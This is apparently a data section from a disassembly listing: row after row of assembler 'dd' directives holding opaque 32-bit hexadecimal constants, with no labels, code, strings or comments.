		dd 0E79EA2h, 0E2399209h, 0C2EA8160h, 3E6B6509h,	76905589h
		dd 14B5161h, 5FBE4BBEh,	46D60DD4h, 0D7A00517h, 7240C4F1h
		dd 3605FA95h, 64440048h, 66B6BA34h, 2E4E5AE9h, 0C29B15D5h
		dd 0C3947BC5h, 128A956Dh, 80F4517Fh, 70E52673h,	614F5A2Ah
		dd 0C94471BFh, 304A0B2Bh, 6B4D2D58h, 0F55CCE13h, 40BDA1E0h
		dd 0FBB56102h, 94385AF2h, 0A70BC8E6h, 5DFF6AFAh, 0A053C0Bh
		dd 817DD53Dh, 412E9D48h, 2B016906h, 1C2207CAh, 75810F2Fh
		dd 6CDF7238h, 731B216h,	62563CE0h, 2325FDB0h, 0E6F5800Bh
		dd 5EB52970h, 9E74FC79h, 0F398D04h, 0E51432AFh,	7CA8A165h
		dd 0DF1C7927h, 7B882E91h, 0F8DF048Ch, 0DE8B1337h, 0D67EECBAh
		dd 2E2FCA05h, 9D2BB180h, 0A30D5E35h, 14223Dh, 2BD91F29h
		dd 0C60ADFDh, 0F1176600h, 0ECF46404h, 0FB8C5043h, 0A1F9BD88h
		dd 8BC4B703h, 5DC431D1h, 8186E9D5h, 0E557BB51h,	6D701208h
		dd 554C1250h, 0DEE1E147h, 30C1B682h, 0E1165F06h, 56386523h
		dd 53E2F800h, 0CFD25E2Ch, 1E673404h, 0F6B9655Ch, 67B01122h
		dd 55AF072Dh, 0B524420h, 2D6961BDh, 0ACEA595Fh,	294D093Ah
		dd 2C11EA73h, 0BBE4572Fh, 0B3481B00h, 4FA8AD7h,	7A9905F7h
		dd 0EA500B42h, 0EA0B2774h, 95D06915h, 0F3AD7644h, 24A3E584h
		dd 0DBA85FADh, 9BE7D000h, 4E3B2BEFh, 2AFCB73Dh,	9403A06Fh
		dd 5A44D6h, 393F35FBh, 8BB6A915h, 1A9753E8h, 0F790D5E7h
		dd 42002C97h, 5613F33Dh, 24B9282Ah, 0E0700FBAh,	0BE6B5D8Fh
		dd 0F585FA4Bh, 7A80A4DBh, 0C8BB1E4Fh, 0A0BA5E2h, 57D9BD29h
		dd 5BCB66E7h, 6F5005D2h, 0D1BA0919h, 0C06933AEh, 0EE715553h
		dd 0F23E2A89h, 9B314186h, 0BED22B24h, 0C684C512h, 19FC14B9h
		dd 0DA08028Ch, 3C753736h, 72582FCh, 7019585Dh, 0F4BDBEE5h
		dd 0C8495206h, 13549EB0h, 0ABAB37F7h, 1723606Bh, 3899E502h
		dd 41037E08h, 6AF4DB56h, 0C641B6E8h, 5B8F927Eh,	46D6F65Ch
		dd 4BB8011Ch, 2BBAA35Fh, 979F55FCh, 6E56A389h, 0C2A91C7Dh
		dd 0F34A67F0h, 0FCD9CA85h, 8DA0C0F2h, 0E50AB58h, 0FB0B4BA4h
		dd 46F8D480h, 4504C03Fh, 8B0F606Ch, 0A5F7BAh, 0F2EE04D3h
		dd 9EA873h, 8A83EA6Dh, 0C757B43Eh, 8F0FE410h, 0FC020294h
		dd 617E0459h, 60510D5Eh, 61D18015h, 7238263Ah, 18DE4BB8h
		dd 0F32840C0h, 5E017E2Ch, 0F0C2F4Ch, 25920E89h,	0A98DEA60h
		dd 0F3499DDBh, 7E9AFF61h, 0EC69275Ch, 0ED75CD1h, 66F8E12Fh
		dd 0AAE3144Ah, 2B33E08Dh, 0D6EEFE28h, 121BCA1Bh, 0DEAFAA86h
		dd 71D4800Fh, 5CC09F9h,	8AA3AF12h, 0C62B805Eh, 6025FCF6h
		dd 0F5DBC1F8h, 0B6AF172Eh, 2D28E04Dh, 0AB2397EBh, 0EE84012Bh
		dd 80E0B2E6h, 0A900C942h, 51C64572h, 581FB07h, 92E0D7E7h
		dd 0C2D8EF3Bh, 19D125BDh, 27EB375Fh, 8C0017ECh,	0B6DE4A48h
		dd 9DFC7B22h, 60C6AAC0h, 0B9B7501Eh, 70AD5B2Fh,	4D9D6A16h
		dd 0AF6E09Fh, 0B7013184h, 4DC6857h, 127B65EBh, 23C3B01Bh
		dd 18F4073Dh, 0F718F560h, 274D9561h, 9E601D64h,	0E20E8D32h
		dd 607D5C16h, 94BB1A05h, 26CD2578h, 74C176C6h, 1CCE9F9h
		dd 0D4B1D127h, 0B360C4DAh, 30190F01h, 399D2917h, 85D87475h
		dd 67519F45h, 87B8F544h, 0ECAFA0D7h, 5482B65Fh,	41CF55DCh
		dd 6C88F60h, 78FE0BE0h,	7DFFB8Eh, 192EB564h, 84CF9595h
		dd 0E519F6BBh, 0FD5C3E70h, 82A60028h, 8D89BD66h, 51972C29h
		dd 0DBCDAD75h, 0E826EC40h, 430B0093h, 0C9FDEF9Dh, 7E9F7EB3h
		dd 2B81C259h, 474DBB00h, 847A4B12h, 0B81FB9C5h,	0B154C4B9h
		dd 0BF500729h, 4D986B91h, 2F08B22Bh, 4B2351D9h,	0FA22D790h
		dd 0DC3F6C7Eh, 19CD8026h, 859448E6h, 96230011h,	86F476A1h
		dd 5304DF68h, 800F9781h, 0E4E7ABh, 3AB5CA63h, 951E01Fh
		dd 84299219h, 20098170h, 0DB689DB0h, 0CCE37027h, 97554C04h
		dd 0A0B8E227h, 4DB509C1h, 4A937A1Eh, 8BEAF40Fh,	275B3F81h
		dd 0C098ED90h, 0EF22E261h, 5B66C804h, 0F898F5B7h, 459D2401h
		dd 495F4B52h, 0EE3661AAh, 8AECE0F5h, 2B8FD94Bh,	0AEB4AE56h
		dd 323A6A30h, 0C7C4891h, 0E7124112h, 0FC51802Dh, 0B43AE95Fh
		dd 8609F608h, 5C18AE43h, 0CD49775Fh, 0BFB7456Ch, 2D5C0C1h
		dd 13478E2Bh, 0C8A9049Eh, 965BF0E8h, 33C150FCh,	413259Dh
		dd 20DF1DEBh, 0FFB70F14h, 45FB1E9h, 69A0617Eh, 0A311FCA7h
		dd 3D1443Bh, 9A2AD8BDh,	2DF69139h, 5F368BD0h, 0EB7C1686h
		dd 0FB00807Bh, 7C4AB636h, 934CEC64h, 12D16ECh, 0E08D67AAh
		dd 69185C83h, 25F2DA5Ch, 7694C667h, 73B94D09h, 4934BF1Ch
		dd 0C9594F57h, 88D1A5h,	0B94A35BCh, 0A73F499Bh,	130BB25h
		dd 0B7883E76h, 0F96A5B62h, 0AC16A8E5h, 831D13C8h, 8E34C8A7h
		dd 77EE3A71h, 3EC1A20Fh, 4A6220A1h, 4BB30360h, 0BA70867Dh
		dd 362AF017h, 0BE6E9D81h, 4A077FF1h, 0CC8613F1h, 4179F3C5h
		dd 51C20BC5h, 0CAE9C652h, 0BA00FDECh, 0C0A080C5h, 4F01509Ch
		dd 2A18A58Dh, 4B6953E0h, 0B37A32h, 0B10A45AEh, 27077038h
		dd 14E473D0h, 238B7400h, 14602510h, 0CE360FE3h,	7320E141h
		dd 62C781C6h, 1B459815h, 0BD8983ECh, 0F2EBD479h, 466B9228h
		dd 0B4CA600Eh, 9C30BF97h, 275339BBh, 0D1D43A49h, 3B3575DAh
		dd 8F75F001h, 8F68C283h, 1F6E79C1h, 6485D0F4h, 0C5775701h
		dd 9C20AEFBh, 8A86C8F7h, 162EE3C3h, 0E050A6B2h,	0E7B04006h
		dd 0AD0EA93Fh, 0E7804F6Dh, 0C8C1C4C9h, 6303B813h, 0B8641DEBh
		dd 0A27FF75Fh, 0B76FD561h, 0DEE98240h, 0BC141E9Bh, 2EC2A716h
		dd 9F608DB2h, 0BD0BCF81h, 0C214C050h, 0BCBD5FFBh, 310589ACh
		dd 0F0B08DB5h, 0E56D4BB3h, 4B207E50h, 0B97194h,	0AE259E70h
		dd 0B55AEFAAh, 5DE0784Bh, 97607557h, 58AF0451h,	30159DF9h
		dd 1336440h, 95C170B5h,	6DA57EC5h, 9C1946AFh, 0BB66DB1Eh
		dd 0EBE2EA12h, 0BFA22288h, 7F9D0325h, 0B2964F05h, 1D2C007Dh
		dd 0E3CAD01h, 4A550261h, 0FAB7FE59h, 4705C056h,	815796E3h
		dd 7BED26EDh, 0E3921BEDh, 30274F08h, 0F8C88180h, 36F169Ah
		dd 0BC78260h, 3261EE0Eh, 3DC1DCAFh, 0DE3CD49Fh,	0DEDA309Dh
		dd 25259C2Fh, 7A1ADF65h, 0D8CDFD28h, 2648DDEBh,	6609EA9Ch
		dd 46AE26BFh, 0EDCAC686h
		dd 95FEB02h, 29BF44EFh,	6104A4B5h, 51D9A97h, 31D3C18Fh
		dd 0F6AB85C6h, 255EE022h, 0E313146Eh, 0FE09FA67h, 0C9042996h
		dd 0F618BC2Ah, 25E5207Ch, 0ACFD3FFBh, 0E13EE912h, 0BF8930F9h
		dd 305ADAEEh, 2C917F81h, 0FF4B343Ah, 6D0BEA0Ah,	0C0A2C113h
		dd 49C92200h, 0C01C33D5h, 15993807h, 0F110F009h, 978D448Fh
		dd 21601F99h, 13F2DFEh,	6479B2B9h, 817F6174h, 21DF8B84h
		dd 0D88AD4F1h, 6DCCE58Bh, 513802C8h, 900BAB81h,	58907B5Fh
		dd 5200BCF0h, 17FEB9C7h, 9F847F9h, 2BA9BD29h, 52564A12h
		dd 0BED7B740h, 1B8A204Eh, 1D02CB17h, 0F487BAAh,	0C0BA2DF1h
		dd 0BA389EBh, 0D991A311h, 4677EF39h, 90B2A5A0h,	6B632D02h
		dd 6FC08394h, 6DE94081h, 0F1209D31h, 0B390091Eh, 0FE1850B9h
		dd 31002C7Ch, 81A549F9h, 715B5651h, 9B904F5Fh, 40618EC2h
		dd 0CFFDEDA0h, 0D33CFE89h, 5803BC48h, 1BE1C079h, 24FB2023h
		dd 0B72FBBh, 0B1EE9535h, 6A4A6554h, 2F7C1E6h, 0B8DCAE49h
		dd 975B7249h, 0B7D006DBh, 0D85709EFh, 0D30E7864h, 25825BE9h
		dd 6D5E14B4h, 2D1546D6h, 162FD4D9h, 9387BDA1h, 63A0ABB6h
		dd 0A927CF9Dh, 5993D656h, 0D52AAD6Bh, 4F05B8B7h, 20AEFB72h
		dd 7F3D150h, 0CDA63D04h, 0F680A9A7h, 16961333h,	0F4419589h
		dd 8A5C0F09h, 0C7B293C0h, 4FCCB73Dh, 0C4B06E00h, 512B1DBEh
		dd 47763200h, 0B34A27EFh, 26A00D9h, 0ACDEBF50h,	975255h
		dd 0A177BBAEh, 5E155D8Fh, 0AFF5E984h, 40FB3138h, 9D258939h
		dd 0FD206259h, 0A533D330h, 0EA6E1C28h, 0EED9F525h, 0D4EB941Bh
		dd 64AE3700h, 8AE092C6h, 0B8904B1Dh, 0CE6E8034h, 4BA19A9h
		dd 72CA8E59h, 7402EF28h, 0F75F0DC7h, 6D0076D1h,	83364E52h
		dd 0CE6402F6h, 909D6E07h, 5F250574h, 0F9856431h, 2E640B14h
		dd 159ABAD9h, 0BDC214C8h, 11B66FCh, 6DF2A97h, 7A40ADDDh
		dd 4115F6A0h, 6A1F2025h, 47EFFF4Eh, 0D91C191Bh,	550087BDh
		dd 9CE8E95h, 8056B0DBh,	3E9EFD42h, 0CA92B128h, 2227F6B2h
		dd 0BD0B0F1Ah, 447224DDh, 16063502h, 698381EFh,	0C489091Dh
		dd 0E4570A21h, 0A9DA4B90h, 0BD09C13Ch, 53A5131Dh, 0C2251151h
		dd 714619h, 54AA65D3h, 4EDAB044h, 873DAE01h, 0ADEE1945h
		dd 25F9F37Bh, 69F276C1h, 15801A73h, 0A7CFDBDFh,	0D2AF009Bh
		dd 0F986F5F6h, 3A025480h, 42FB1998h, 89BA28C2h,	44D5C82Bh
		dd 5716009Eh, 5E7D54C9h, 7A00FB31h, 0B1ADB47Ch,	74EDC5D9h
		dd 0F78100D0h, 13C36EEFh, 0D1728B5Bh, 75E9DE12h, 0A416B3A7h
		dd 0DBF500C4h, 53926B91h, 83085C01h, 24D08260h,	70499670h
		dd 0EA444F4Eh, 0EF812307h, 49AF5564h, 4EFDDA2Ch, 30B43C20h
		dd 0B5E97A1Fh, 65C28115h, 1BDD2B1Dh, 4B4D3320h,	2031D807h
		dd 0DB5F98Bh, 0B99CC46Ah, 0F9F89223h, 30503E68h, 0DAECCF9Ah
		dd 9F25B097h, 0A9EE5AB3h, 0DA19BD41h, 0E3814280h, 71C4F755h
		dd 0E6FD8A25h, 8D293B15h, 0B91290C9h, 0D2205555h, 44B84DBCh
		dd 0ACB9DC0Bh, 0F6E55C3Ah, 0D41C8709h, 0DCA5F6FCh, 95C8334Ah
		dd 3DB8A160h, 1004BD7Eh, 610B1571h, 46F3D22Bh, 0EBF970h
		dd 0D09C808h, 97BBBEF6h, 0CBFDF12h, 0E6D31FF6h,	63B9A03Dh
		dd 7150E97h, 0BD2701FFh, 0BDFF6B65h, 85B60096h,	9D09D92Bh
		dd 79141525h, 0B9354B28h, 0B907AF80h, 25F738BEh, 107B3AEDh
		dd 16577427h, 5CDCAF09h, 8AFE4BBFh, 0B930D2F2h,	0B923EC0h
		dd 0AA913888h, 6A7055F3h, 720E044Fh, 0BB79EDA4h, 0B13288h
		dd 75D18293h, 0A7020FB6h, 0D83A9409h, 44CE715Fh, 14AA528Dh
		dd 4D2367Fh, 0AB0A9118h, 0F9E4F0F6h, 64E809Ah, 96C0E39Eh
		dd 665D4990h, 0A2AA00B1h, 551A7776h, 0FD2F6935h, 0F4FA7E93h
		dd 0FCA19C07h, 73F0B574h, 0BFF52D3Ah, 68A4790h,	0D020920Fh
		dd 16BDA0B2h, 1E8F6245h, 85A4892Fh, 92C99D03h, 0FB5C5B6Fh
		dd 49253h, 0E5F046BBh, 0CA714Bh, 0EE041812h, 8ECDFD60h
		dd 0CFC31336h, 657207FFh, 806820F9h, 5B4FE9E7h,	0F7B6F9A8h
		dd 6BFE604Eh, 90AE4A20h, 2FDF8964h, 0F50990Bh, 894ED98Bh
		dd 0F45CEA34h, 0C059CDA7h, 15DD7E1Dh, 19745B0h,	3A4ABF39h
		dd 0FD6A62C9h, 3E9B936Eh, 0EF523480h, 51275BF8h, 43FD9042h
		dd 0B51D0078h, 11DF2BF3h, 520BC7F5h, 898B94D0h,	95B75050h
		dd 9350E565h, 97B30988h, 0C1826665h, 505E0729h,	8FC52EFh
		dd 905B5780h, 1DB96050h, 26226380h, 31D376h, 4E3D9FD6h
		dd 5A9A24Fh, 0C600E37Ah, 3FB8BB85h, 4B6D2208h, 0D219F858h
		dd 618BC8FBh, 20F050B5h, 0CC52F05h, 70001E45h, 5B7A6668h
		dd 7E605C8Eh, 9E8CCC0h,	0AF001B6Dh, 43A90852h, 10FBCFBh
		dd 150E8828h, 2E246358h, 990500FCh, 571C389h, 0AE2E5DA5h
		dd 5DF99472h, 1C506145h, 0E96216EFh, 8558A4EEh,	45E81744h
		dd 50E87A10h, 85EE6180h, 1C0F8ED3h, 85C8F72Dh, 0F7AB5FF9h
		dd 0A7FBF06Eh, 0D4B72D37h, 0B96BBF5Fh, 58ECA64Fh, 98EB168Dh
		dd 49164EAh, 0BD1331ADh, 4CA8D737h, 1B23911Ah, 611B658Ch
		dd 894D98B7h, 0F6F55A06h, 301CB2F8h, 0AF01BF1Dh, 0F73941B6h
		dd 0E23EFEB4h, 2668009Ch, 0C615749Ch, 13347221h, 0EEA225DAh
		dd 2DC15A1Fh, 0BD315FF8h, 0C92A4171h, 0B8EC79F9h, 549A0167h
		dd 96CC4D74h, 8D2020E4h, 7D1B6A9Dh, 0DA7E6078h,	172D91A0h
		dd 699251B7h, 3948B575h, 0EA8F7700h, 187B252Dh,	0A6683E00h
		dd 52C55A86h, 89925Fh, 3AC47D59h, 0F32DBF66h, 7E129A97h
		dd 0E319403Fh, 9D2CBA65h, 5565F750h, 9935F0AEh,	0C016144Eh
		dd 0CCE2D4F6h, 6007187Fh, 0EB400007h, 0C0617301h, 2A00E897h
		dd 8CF76CAh, 4820B69Ch,	0F6D7DCD4h, 5338F0DDh, 9EB62822h
		dd 52519DC0h, 76ED102h,	53C77CCEh, 0A28641DFh, 5B328BFAh
		dd 977ED061h, 8A253916h, 1227C5FDh, 1F52B241h, 0E9CEB4EFh
		dd 0DB251C52h, 0E2D07B88h, 9F4834A7h, 171C071h,	6BE0B9h
		dd 24DD0753h, 4C5C3757h, 5EE2C504h, 2ABC5F08h, 0BD8F9CEBh
		dd 0ED1B28Dh, 7A2B2E21h, 49EC00B2h, 0ACDEC0D2h,	8D12030Ah
		dd 3D9D0B56h, 6682575Eh, 51425EF9h, 14C80F82h, 45F89AC2h
		dd 4588806h, 0AA12BB84h, 0F2F5A7ABh, 3CD85D73h,	2D5634Bh
		dd 75A06DA7h, 0FC01ABD4h, 33607826h, 453BC1B5h,	9251BDF6h
		dd 3A5C61D5h, 0D71C85E2h, 35B55216h, 0D2F827A0h, 642CEB2Dh
		dd 85150000h, 25471CC8h, 870024CDh, 67AAD642h, 4EB62964h
		dd 14DB420Bh, 2C669694h, 8DFA92F8h, 9A4ECE03h, 0A1D28B65h
		dd 0ACD0BDD1h, 4DAAE4FEh, 0F917C8D5h, 80319B96h, 4C2658D2h
		dd 8DD40597h, 0C48B5144h, 222AFFF3h, 0B3B85880h, 10BC247h
		dd 7706B1BDh, 53C92EEDh, 48AF0002h, 8531A097h, 0B0C2EC2Eh
		dd 9E392660h, 5616008Ch, 93A20957h, 0EC03E685h,	5A4E8E15h
		dd 4C9ECACDh, 9DDFEC01h, 8D62F77Ch, 5CB04A39h, 1946FE13h
		dd 0EFCB6901h, 2FCC179Bh, 0BA91612h, 5B90B8B8h,	0DF293927h
		dd 9DC93D93h, 1FA62E12h, 48301AF2h, 0A1220054h,	890F3BCAh
		dd 55AE59Dh, 0BD1870EAh, 0B5842C69h, 9F547D89h,	0E5B40F55h
		dd 0FB888537h, 0CAC00DDEh, 727EF89Ch, 70E6BF00h, 609631C5h
		dd 0FC8A4A0Fh, 1345A066h, 0F6EE2D80h, 0CD00DFC6h, 0E0D719BCh
		dd 2C4AD99h, 6EE27565h,	8BD27FD2h, 0D78A615Ch, 5AB8ECA9h
		dd 6BA82155h, 0B7017353h, 736AC93Ah, 0A0FA8A6Bh, 5E918C6Fh
		dd 0E3611236h, 0F8CA4A1Bh, 97704D38h, 807B0E5Bh, 1DE60F5Ah
		dd 561F3816h, 0C5D8FC87h
		dd 25EA50DEh, 30B7FE05h, 46BB6401h, 3E6687C8h, 75FE15C2h
		dd 92012029h, 3F6E58C7h, 21FC3FB9h, 0C4002C7Fh,	33C94B32h
		dd 820B8D9Dh, 0C62515DEh, 2D08902Bh, 0CF7308CDh, 70CB8180h
		dd 9D3B7D97h, 1A597CFBh, 9F001E18h, 334DE5F5h, 5B9D2B74h
		dd 5038BFD1h, 533BD463h, 0EE4237C4h, 0E66C9B20h, 0DE660025h
		dd 5295417Ah, 53BFB146h, 0B57FA7AAh, 0B077270Bh, 0E1C6FC51h
		dd 0C2409B7Fh, 578592FDh, 6D95239Eh, 25EA402Dh,	0B3FE8972h
		dd 22970EB0h, 5E1DE9F9h, 37FD2F26h, 9F0F080Bh, 0B25D7460h
		dd 2F8401F8h, 8BBBC9F4h, 0E06E3BC1h, 0E3A30972h, 44792EF7h
		dd 6DA1BF80h, 25502F28h, 568A97B7h, 12B0DEC9h, 326D1601h
		dd 6CB784BAh, 6F94899h,	5ABD6E0Bh, 496D8061h, 0A0F867EFh
		dd 262AB12Ch, 9B25DA9h,	0DA00F2B7h, 6172E5D1h, 11E8E4BFh
		dd 10BE805h, 0F9CCDEE0h, 86D83E1Eh, 4C627FEh, 3240E870h
		dd 5290275Bh, 0C6274590h, 8713A339h, 0CB5C8487h, 245BBDD0h
		dd 0A980E45h, 82FC5F57h, 90D98B50h, 12A6DBFFh, 0B3C7E4D8h
		dd 3F6444Ah, 20D1B51Dh,	0DF4B5790h, 0CC7A888Dh,	3036B34Dh
		dd 753B2E01h, 4A4F4FFh,	0BEDD75BFh, 0A259B819h,	1B911F8Eh
		dd 6115A183h, 7AF0BAABh, 2496A2Fh, 1627BCBBh, 0B036D25h
		dd 9740936h, 0A1F9DEC4h, 508C14ACh, 0F6D7FB41h,	406694A1h
		dd 986D7434h, 0A80CA200h, 6C50C3D1h, 9BB070Dh, 115FD72Eh
		dd 2ECEE957h, 41777C38h, 0B8A42949h, 0CD5E9FCBh, 0A1DF80C1h
		dd 5A373260h, 0B289E647h, 6A5C3119h, 0BD8255FCh, 0D00B0735h
		dd 0C2440776h, 8B55B350h, 0E4C1A6CDh, 0A4C834A1h, 3C920B4Ah
		dd 0B1FDD805h, 0B52A9D1Bh, 0F8F86A2Eh, 0F76C0FAAh, 3C2DC11h
		dd 0D71C8F09h, 7C55AD3Ah, 4A756982h, 27CD562Eh,	8F636DCh
		dd 2187991Ah, 6AF4E825h, 0DCCA96FFh, 345BED04h,	41D44B23h
		dd 0E4C40184h, 0F9ABD9C4h, 35EE8A0h, 2E53E41Fh,	9805639h
		dd 0E09AF985h, 59C97C95h, 27F17CB0h, 880DD4DAh,	104C1A7Dh
		dd 0E3294A81h, 58A7EEBh, 0F2BB6585h, 0DFCC6713h, 8AEE8464h
		dd 42D90713h, 0C8F05C68h, 95981686h, 0F962C87Eh, 0B509010Bh
		dd 317E6DA9h, 0C111CC1h, 88DB372Eh, 89EDB482h, 942D608Ah
		dd 0D3100781h, 51DFE46Bh, 2E3191E1h, 3F44D814h,	4C2BC055h
		dd 0C04A2AC8h, 4ABFFBBEh, 195E3E04h, 20577DE9h,	21EE4507h
		dd 262ACC01h, 0FAD371CEh, 0DFA440CAh, 0E9CE9A1Dh, 877D5B02h
		dd 89194CC7h, 3CA58F4h,	0C327D381h, 125E763Bh, 0FB9334BFh
		dd 0C44021E6h, 39E930D9h, 2DBD0111h, 0CD9D204Bh, 0B7D5F320h
		dd 1E9A095Bh, 0C2746837h, 0ADC35B8Bh, 38C2D60Bh, 36085749h
		dd 0CB6C2556h, 0EEC2F413h, 0C0F0CCA6h, 6406844Fh, 0E783DD74h
		dd 78909346h, 0B01CA11h, 0A17D0958h, 0A86B7C13h, 5585CB44h
		dd 0FC557EC2h, 48B3D4D6h, 69DB7180h, 5BDC2D2Bh,	0C2A0B8CCh
		dd 6F0EFEB9h, 0F98F615Ah, 9067610Fh, 5F2513A4h,	0DCBB1BE0h
		dd 22738A1Dh, 89606BA4h, 5AAB0B1Bh, 3B28BE05h, 8D8D4B77h
		dd 0FE3A44FCh, 122BE0A0h, 0E60C5595h, 321AA2FCh, 1340717Dh
		dd 9D42EC84h, 758D97C0h, 17367Ah, 0DC7B59C1h, 89BD2342h
		dd 2CF21E4Ah, 0F8C1DACh, 0E66D82D7h, 0F2256AC0h, 899DEDB8h
		dd 0D42B5CCDh, 97001C46h, 0F5D0F9B6h, 3434F330h, 0A9E6593Bh
		dd 0BD301AB2h, 3D719DF3h, 0CCAFF916h, 0ED2DBFCCh, 76EF71E1h
		dd 0FC0B1746h, 0CF7C23AEh, 0C59D0382h, 0F7BD751Ch, 0D3BB9A00h
		dd 0B74A517Dh, 0B742517Ch, 511A5ED0h, 0FE85C392h, 0C4C0ECDBh
		dd 19E98E9h, 14CD8512h,	7B18091h, 19BE62Ah, 0CBA0DB81h
		dd 322F3E4Bh, 0E3516042h, 0A0D95200h, 4D59723h,	4E59FAF1h
		dd 0B1B2AAF3h, 2B605B02h, 6570D59Dh, 0FF256171h, 70A35BE1h
		dd 990E32B2h, 8716B9EFh, 0F716E4Bh, 27AE0887h, 0BC5064D6h
		dd 2A62B21Fh, 61103FEBh, 0F5FC2531h, 676B1814h,	2337F52Ch
		dd 0B3E29880h, 0A6261E71h, 0ABF70099h, 96C670F1h, 0D117662Eh
		dd 514B7851h, 0EF44555Bh, 6B491497h, 4D7D82E9h,	0B1B7C09Ah
		dd 0BC050343h, 5FF55377h, 2E3BA1AEh, 0DFDB1C17h, 5C97A480h
		dd 6470E0ACh, 91E8602h,	752975BDh, 67095BF9h, 0F416F601h
		dd 27A5FF1Ch, 2FCC630Eh, 10DE5467h, 79502505h, 979CB885h
		dd 10B73838h, 4F13AB97h, 56AA40DFh, 0A11625B3h,	0F994FC2Bh
		dd 0BD339DA0h, 6A927EDCh, 93F0B1F6h, 1102C5D5h,	0E9A8DDE3h
		dd 0A4612014h, 840BFA0Ah, 5527D4A1h, 940B70E5h,	9EEDD7FEh
		dd 0FB98BC00h, 22111F3h, 76A1E0Dh, 22D1500Ah, 86E67F01h
		dd 0DC6AB914h, 24F0318Ch, 8B948D19h, 0A331B7B9h, 92FEC2C3h
		dd 67F95FDAh, 0EB65812h, 4F5BFE5h, 9D238550h, 7D899F51h
		dd 45614DD7h, 25B69C15h, 0F4989A97h, 0F04647E8h, 0D326B9DFh
		dd 0D689A114h, 0C00D39E9h, 0B26B05Fh, 0C9E97329h, 0DDFC107Fh
		dd 9DEE951Ch, 0A2938C4h, 4F1BCBABh, 7A01696Ah, 0A725E15Ch
		dd 21BA8BB1h, 0EC6E1015h, 0C7ED9510h, 0E4601A64h, 161E6E3Eh
		dd 0D02FA7F0h, 23A625C2h, 0D79A86E6h, 6406892Dh, 56811F98h
		dd 0B440C158h, 2A8531C1h, 5B0609FEh, 262BE32h, 0F8574901h
		dd 4E052F5Fh, 94BE9D01h, 0C0D2AC9Bh, 0B1D28087h, 0DA922F90h
		dd 390990D9h, 8B347B2Fh, 3240B460h, 0F124C5E2h,	405A8161h
		dd 5C7AB96Eh, 0ABD6FB79h, 73005E97h, 183EDB6h, 30470177h
		dd 79EE6635h, 79FA24E9h, 0D373BB40h, 0E1037B09h, 0AA66Bh
		dd 0C429D2A8h, 44C94A1h, 3214E11Dh, 0CCFF16FBh,	5A4C5BB0h
		dd 0F3AFD273h, 6ABB0F4Eh, 9DBDF28Eh, 6E04B5B8h,	896510E3h
		dd 511DC2AEh, 0DD27ECD1h, 0B980D93Dh, 1F6C1A3Ch, 80A0B22h
		dd 86F9B7F1h, 0C06F4180h, 2E0BCB95h, 488F67Bh, 0FE505BDEh
		dd 0BB3D64B2h, 5740FB8Bh, 0FEEA4975h, 0C8A9DA2Eh, 9890C017h
		dd 6109916Fh, 7D958952h, 0BC5BC424h, 0DF09B273h, 1C573CE2h
		dd 4C3C4587h, 23036548h, 0BB76DE8Ah, 0E1EAE418h, 8F6E6FCBh
		dd 60A98D0Fh, 0DCB2DAC0h, 8B4A4C48h, 61D1D2FAh,	0E175725Eh
		dd 510619Dh, 0CE1A8CBFh, 0E2736C00h, 0A7ABDDCCh, 0DF4807E7h
		dd 0B556BB54h, 656BC111h, 79EDAD09h, 60C5A55Eh,	7427AF1Dh
		dd 0BD00F4DFh, 55FE07DEh, 5B6A7AF1h, 0B9A3859Bh, 752948E9h
		dd 0F3032348h, 0E36F5D71h, 0F8BF90B8h, 680241F5h, 5A7A3986h
		dd 0B84F40B6h, 0FCAD4AF5h, 68C18BCh, 72ACA6DAh,	0DB126E6Ah
		dd 71E15653h, 0CFBCDE3Fh, 0F2D38055h, 9D44634Eh, 8069A17Eh
		dd 96821313h, 40F2B652h, 0F679376Ah, 0FDAF423Fh, 0C5006479h
		dd 7A964A70h, 2686F1C9h, 4FAE5BBDh, 3D250472h, 0CEAEA912h
		dd 0B013D329h, 927D9BAFh, 27338E70h, 0FC2004CEh, 0C40FD2C5h
		dd 33906144h, 9C57D6BDh, 0B4ED973Ch, 0F2A8D740h, 0BCDC027Dh
		dd 23D8B1Eh, 10081561h,	0E6A9772h, 83C60736h, 0EA8D2945h
		dd 0E35FD7E0h, 0A872A96Fh, 10C2E11Dh, 0E0030C7Ah, 9D25D784h
		dd 0CCAFD491h, 0FEBF26CCh, 3FDF2706h, 0FC7F8143h, 40C22EBAh
		dd 11DBD9Dh, 9E4AE4B5h,	0B5EF221Ch, 7E2724C5h, 0F8BFC24Fh
		dd 0BD5EB07Dh, 4E305095h, 9F7FB829h, 0FD492659h, 0FE061F84h
		dd 85BFFA70h, 6E0902C9h, 0C88A6096h, 5357AF60h,	8CB45C9Dh
		dd 0E0DA7C6Ah, 0A622E304h, 1EA8E624h, 36799625h, 4125924Ch
		dd 2D5C4123h, 0C28B2B2Eh, 0A029B64Bh, 1031E4A3h, 91C4DB5h
		dd 770BD780h, 0B5A536EDh, 106A009Ah, 0C5E3B942h, 8A851F12h
		dd 0D58DE70Bh, 6050B6A0h
		dd 529C2BB7h, 0EF368240h, 0DEBC031Ch, 0B3E37FF0h, 5ADD8A80h
		dd 0FA58719Fh, 0E6023F73h, 5797424Eh, 8F8645Bh,	0D1BD0076h
		dd 0A51C861Eh, 1A9725A6h, 0F78843DFh, 79693357h, 580B54A4h
		dd 0C6369811h, 0B42200B6h, 1F889FFBh, 0D495256Eh, 2CF9C474h
		dd 927C9130h, 0C8C6B9FAh, 71FE520Dh, 0D13712D4h, 0E0B9B8D0h
		dd 800A35BDh, 0B9750E9h, 800FC8Dh, 58250EE1h, 285398A3h
		dd 254C2AF5h, 275C0B55h, 1DC231E7h, 0D4CE7F0Fh,	0D54530CDh
		dd 0D201C22Bh, 9BF2F07Fh, 6A2378ACh, 0E083CD9Dh, 0E737E83Ah
		dd 4B3C9800h, 0FB8B9FE3h, 1D87A96Ah, 0EFD7251h,	59240408h
		dd 899CFDEFh, 0D45D7E2Dh, 81CC174Dh, 3C121FDh, 11BD6888h
		dd 4EA25017h, 0B82E783Dh, 9B420E1Ch, 6B469CA1h,	0A6B53AC9h
		dd 58E13A76h, 0FBB82FD1h, 2DF08D6h, 0E020D124h,	0B7E1109Dh
		dd 0B7CFB5DBh, 0D9A64140h, 270E755Ch, 35DF5D21h, 2CB2273Ch
		dd 0C157255h, 0CF6B0CD3h, 0A99FF5B4h, 13C40EECh, 27408AEFh
		dd 1C6E90F9h, 3356092Ah, 0DD517C57h, 91BFE49h, 455DD1FFh
		dd 4549190Ah, 0EFA5F52Bh, 8302CD2Eh, 0C24DC300h, 1D8AB790h
		dd 0AE5F5250h, 12950D5Eh, 53BA2A43h, 0B268B659h, 3C133015h
